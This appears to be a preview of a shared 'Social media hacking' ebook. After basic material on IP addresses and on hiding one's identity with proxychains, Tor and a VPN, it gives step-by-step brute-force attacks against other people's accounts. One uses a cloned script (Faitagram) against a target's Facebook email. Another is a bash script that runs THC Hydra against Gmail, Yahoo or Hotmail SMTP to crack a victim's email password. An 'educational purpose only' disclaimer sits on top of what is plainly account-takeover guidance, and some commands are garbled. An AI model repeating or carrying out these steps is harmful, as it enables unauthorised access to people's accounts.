Hacking social media, Summaries of Engineering

Education purpose only! ip, ip attacks and how to hack!

Typology: Summaries

2019/2020

Available from 07/09/2022

fayez-ishak-1
fayez-ishak-1 🇮🇱

1 document

1 / 29

Toggle sidebar

This page cannot be seen from the preview

Don't miss anything!

bg1
pf3
pf4
pf5
pf8
pf9
pfa
pfd
pfe
pff
pf12
pf13
pf14
pf15
pf16
pf17
pf18
pf19
pf1a
pf1b
pf1c
pf1d

Partial preview of the text

Download Hacking social media and more Summaries Engineering in PDF only on Docsity!

Social media hacking: hack any

facebook,instagram,twitter, accounts

Hello and welcome to this social media hacking in this book we will how to hack facebook,instagram,twitter and smartphones by sending an image with various methods. All this methods of hacking account and smartphone are just for educational purpose if you miss use this hacking skills then we are not responsible for this Chapters- (1) - Understanding the concept of ip (2) - Changing ip address (3) - Phishing attack (4) - Brute force attack (5) - SIM cloning (6) - Password resetting (7)- Creating trojan virus to hack android (8)- B inding virus in an image to hack android

So these are the chapters we are going to read in this book.

Understanding ip address

Types of ip

There are four types of ip address

Local ip Public ip Dynamic ip Static ip

Local ip - An external or public ip address is used across the entire Internet to locate computer systems and devices. A local or internal ip address is used inside a private network to locate the computers and devices connected to it is known as local ip.

public IP address – a public ip address that can be accessed over the Internet. Like postal addresses to deliver a postal mail to your home, a public ip address the globally unique ip address assigned to a computing device. Your public ip address can be found at What is my ip Address page.

Dynamic ip- A dynamic IP address is an IP address that's automatically assigned to each connectionof a network, like your smartphone, desktop PC, wireless tablet... whatever.

This automatic assignment of IP addresses is done by what's called a DHCP server A DHCP server assigned IP address is called dynamic because it will often be different on future connections to the network.

The "opposite" of a dynamic IP address is called a static IP address (one that was configured manually).

Static ip - A static IP address is an IP address that was manually configured for a device, versus one that was assigned via a DHCP server. It's called static because it doesn't change. It's the exact opposite of a dynamic IP address, which change. Routers, phones, tablets, desktops, laptops, and any other device that can

use an IP address can be configured to have a static IP address. This might be done through the device giving out IP addresses (like the router) or by manually typing the IP address into the device voice the device itself.

Static IP addresses are also sometimes referred to as fixed ip address dedicated ip address.

Why Would You Use a Static IP Address?

Another way to think of a static IP address is to think of something like an email address, or a physical home address. These addresses don't ever change - they're static - and it makes contacting or finding someone very easy.

Similarly, a static IP address is useful if you host a website from home, have a file server in your network, are using networked printers, are forwarding ports to a specific device, are running a print server, or if you use a remote access program. Because a static IP address never changes, other devices always know exactly how to contact a device that uses one.

For example, say you set up a static IP address for one of the computers in your home network. Once the computer has a specific address tied to it, you can set up your router to always forward certain inbound requests directly to that computer, such as FTP requests if the computer shares files over FTP.

Not using a static IP address (using a dynamic IP that does change) would become a hassle if you're hosting a website, for example, because with every new IP address that the computer gets, you'd have to change the router settings to forward requests to that new address. Neglecting to do this would mean nobody could get to your website because your router has no idea which device in your network is the one that's serving the website.

Another example of a static IP address at work is with DNS servers. DNS servers use static IP addresses so that your device always knows how to connect to them. If they changed often, you'd have to regularly reconfigure those DNS servers on your router or computer to keep using the internet like you're used to.

hosting a website, a file sharing service, or an online video game, all of which normally require constantly active connections.

The public IP address assigned to the routers of most home and business users is a dynamic IP address. Larger companies usually do not connect to the internet via dynamic IP addresses; instead, they have static IP addresses assigned to them which do not change.

Disadvantages of Using a Static IP Address

The major disadvantage that static IP addresses have over dynamic addresses is that you have to configure the devices manually. The examples given above with regards to a home web server and remote access programs require you not only to set up the device with an IP address but also to properly configure the router to communicate with that specific address.

This definitely requires more work than just plugging in a router and allowing it to give out dynamic IP addresses via DHCP.

What's more is that if you assign your device with an IP address of, say, 192.168.1.110, but then you go to a different network that only gives out 10.X.X.X addresses, you will not be able to connect with your static IP and will instead have to reconfigure your device to use DHCP (or pick a static IP that works with that new network).

Security might be another downfall to using static IP addresses. An address that never changes gives hackers a prolonged time frame to find vulnerabilities in the device's network. The alternative would be using a dynamic IP address that changes and would, therefore, require the attacker to also change how it is communicating with the device.

How to Set a Static IP Address in Windows

The steps for configuring a static IP address in Windows are fairly similar in Windows 10through Windows XP. See this guide at How- To Geek for specific instructions in each version of Windows

Some routers let you reserve an IP address for specific devices that are connected to your network. This is normally done through what's called DHCP reservation and it works by associating an IP address with a MAC address so that each time that specific device requests an IP address, the router assigns it the one you've chosen to have associated with that physical MAC address.

You can read more about using DHCP Reservation at your router's manufacturer's website. Here are links to instructions on doing this on D-Link, Linksys, and NETGEARrouters.

Fake a Static IP With a Dynamic DNS Service

Using a static IP address for your home network is going to cost more than just getting a regular dynamic IP address. Instead of paying for a static address, you could use what's called a dynamic dns service.

Dynamic DNS services let you associate your changing, dynamic IP address to a hostname that don’t change. It's a bit like having your own static IP address but at no extra cost than what you're paying for your dynamic IP.

No ip is one example of a free dynamic DNS service. You just download their DNS update client which always redirects the hostname you choose to be associated with your current IP address. This means if you have a dynamic IP address, you can still access your network using the same hostname.

A dynamic DNS service is very helpful if you need to access your home network with a remote access program but don't want to pay for a static IP address. Similarly, you can host your own website from home and use dynamic DNS to ensure your visitors always have access to your website.

ChangeIP.com and DNSdynamic are two more free dynamic DNS services but there are many others.

More Information on Static IP Addresses

Changing ip address-

= changing the ip of an operating system is very important for hackers and for normal public also because the people should not be allowed to remain anonymously on the web. I don’t like that site need to track how much hours i spend watching YouTube videos or how i do my online banking, especially with every company crumbling under the fingers of information So there are three methods of changing the ip address and be anonymous.

(1) Proxy chain (2) Tor browser (3) Vpn (virtual private network)

(1) Proxy chain Proxy chain is a tool allow you to chain multi proxy to connect to each other and then wrep your program of choice the connect to the Internet this masks your ip with many layers and can be a good tool when you are trying to be anonymous by the help of proxy chain we can select any country ip address by our choice.

Steps to change ip with proxy chain tools. Step1- first download the proxy chain tool by typing the urn in url box https://googleweblight.com/i? u=proxychains.sourceforge.net/&hl=en- IN&tg=161 or directly type on google download proxy chain too googleweblight you will get.

Step2- And install this tool and open terminal

Step3- type command sudotor -zxvf

Now change the directories and configure

Step4- Type cd && ./configure

Step5- then type sudo make

Step6- Install the proxy chain command Sudo make install

Now this time to watch a video go to youtube.com and type proxy chain configuration select the video with same title and watch it.

Commands

1. Nano proxychain.conf 2. Add proxies to the confirmation files 3. Proxy chain curl -s https://checkips.dyndns.org

To run Firefox through it, run.

Proxy chainFirefox – That will wrap around Firefox connection and run it through the chain if you ip address has changed congratulations!

protect private web traffic from snooping interference. A vpn available from the public Internet can provide some of the benefits of wide area network. So today we will learn how to use vpn in kali Linux and more secure and safe.

Steps to connect the open vpn settings

Step1- go to desktop and open a terminal and type all this commands Sudo apt-get install network. Manager-openvpn network-manager Network-manager-gnome network Manager-openvpn-gnome

After typing all this command all the settings will open to connect the vpn. Then update the network manager config file.open in vim just type command. Vi/etc/networkmanagement/networkmanager.conf

Press i and install a mode. Then arrow down to the line that says. [Main] Plugins=ifupdown,keyfile [Ifupdown] Managed=true After then reboot you pc and after rebooting go to desktop and open terminal and type these commands = Mkdir -/openvpn. Then Cd into that directory. = Cd -/openvpn Then run this command = wget https://www.privateinternetaccess.com/openvpn/openvpn.zip Then download from given link the file will be in zip format the extract it.

Open Settings, then go to Network. Once in network:

  1. click + at the bottom left to add a new connection.
  2. Choose VPN.
  1. Click import from file.
  2. Go to the openvpn folder we made earlier.
  3. Double click on the connection you want, (us-east, mexico, toronto, etc)
  4. Remove :1198 from the end of the gateway field, should just end with .com
  5. Put in your PIA username and password
  6. Click Advanced
  7. Check Use custom gateway port and set it to 1198
  8. Click the security tab at the top
  9. Scroll down until you see AES-1286-CBC and check that one, do not use the lower case aes-128-cbc if you see it.
  10. Change the HMAC Authentication to SHA-
  11. Click OK
  12. Click Apply
  13. Choose your new VPN from that list and click the On/Off switch and watch it connect.

To hack facebook account by using brute force attack just follow the given steps.

Step 1 – getting ready

To perform this attack you need to download a script of Faitagram just open the terminal and type cd desktop and press enter the type git clone https://github.com/Juniorn1003/Faitagram.git/ and press enter file will download on your desktop. License is just a MIT license, Readme has informations about the script on it, faitagram is the main source, setup.py is for the installing dependencies, and wlistis a wordlist so lets chrom the file so we can access it.

Step 2- After downloading the file go to the faitagram directory by just typing cd Faitagram after entering in the folder type “chmod +x faitagram && chmod +x setup.py’’

We did that’ to install all the requirements to run the script by typing a command “python setup.py’’

It will install all the packages that to start a brute force attack you just need to wait for some times after completing the installation you no need to download the world list because The faitagram file contains a strong password list, so don't worry about the wordlists. But still if you want to test it out, than use your own wordlist.

The format is: “python faitagram -s service -u username -w wordlist - d delay’’

Now all things are ready and you can start bruteforce attack for facebook just type – “python faitagram -s facebook -u (email) -w (wordlist) -d (delay)’’ The (email) section, is for the email of your target. The (wordlist) section is for the path to the wordlist. And the (delay) is for the delays(seconds). Delay is optional, just don't type the "-d" if you don't want to use it. But, the others are a must. And if you don’t have a world list and you want to select the defolt wordlist then just type "wlist" instead of the (wordlist). Some times in FaceBook, it will ask you to enter the name of the target. It is just to prevent errors, and for Username Checking.

Example – “python -s facebook -u MEMEBIGBOY -w /root/password.txt’’

Wait it can take some times depending upon your target password strength

Email hacking with bruteforce

As we know that email is required everywhere and if we hack the email of the victim then we can do any thing what every we want so today we are going to learn how to hack email anonymously by the help of brute force attack just follow the given steps so you can also perform this attack very easily.

echo Simple Email Cracking Script in bash echo Written By: Alan Cao echo NOTE: Make sure you have wordlists! echo Let us Begin: echo Choose a SMTP service: Gmail = smtp.gmail.com / Yahoo = smtp.mail.yahoo.com / Hotmail = smtp.live.com /: read smtp echo Enter Email Address: read email echo Provide Directory of Wordlist for Passwords: read wordlist

hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtp

And after doing this all just, save it as anything you want, but with .sh at the end. Make sure it is in the root directory. Not on your desktop, but in /root. ( must important)

Now, I am going to explain how the script works.

#! /bin/bash simply means that everything is in bash.

echo simply means to tell the computer to say something. read is asking for user input. this will then store your input into a variable. read email would mean for you to enter something, and it will be stored into the email. hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtp is the THC Hydra command which will help brute-force the email address. As you may tell, there are some parameters with a $. This is the variable with stored values you previously input in the read command.

Step3 - permission

The file you have saved (in root, right?) only has read and write permissions. This means you cannot execute it. So just follow this step to execute

open up Terminal. Type in chmod a+x yourscript.sh (ofc replace yourscript with the name you actually gave to the bash file)

Step4- Execute! Now we can finally use it!

In terminal,type ./yourscript.sh

It's working!

The script is self-explanatory. Type in the SMTP service of the target's email, where smtp.gmail.com is Gmail. After that, you just provide the gmail account,example